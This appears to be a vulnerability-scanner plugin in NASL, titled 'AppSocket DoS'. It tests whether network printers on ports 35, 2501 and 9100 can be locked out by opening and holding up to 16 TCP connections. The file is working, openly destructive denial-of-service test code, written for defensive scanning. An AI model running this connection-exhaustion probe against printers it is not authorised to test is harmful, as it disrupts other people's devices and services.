AppSocket DoS

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11090");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_name("AppSocket DoS");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(35, 2501, 9100);

  script_tag(name:"solution", value:"Change your settings or firewall your printer.");

  script_tag(name:"summary", value:"It seems that it is possible to lock out your printer from the
  network by opening a few connections and keeping them open.");

  script_tag(name:"insight", value:"Note that the AppSocket protocol is so crude that the scanner
  cannot check if it is really running behind this port. This means a different service might be
  running behind this port and could have stopped responding as well.");

  script_tag(name:"qod_type", value:"remote_probe");
  script_tag(name:"solution_type", value:"Mitigation");

  exit(0);
}

function test_app_socket(port) {

  if(!get_port_state(port))
    return(0);

  soc = open_sock_tcp(port);
  if(!soc)
    return(0);

  # nb: Don't close the socket...
  s[0] = soc;
  for(i = 1; i < 16; i++) {
    soc = open_sock_tcp(port);
    if(!soc) {
      security_message(port:port);
      for(j = 0; j < i; j++)
        close(s[j]);
      return(1);
    }
    sleep(1); # Make inetd (& others) happy!
    s[i] = soc;
  }
  for (j = 0; j < i; j++)
    close(s[j]);
  return (0);
}

test_app_socket(port:35);
test_app_socket(port:2501);
test_app_socket(port:9100);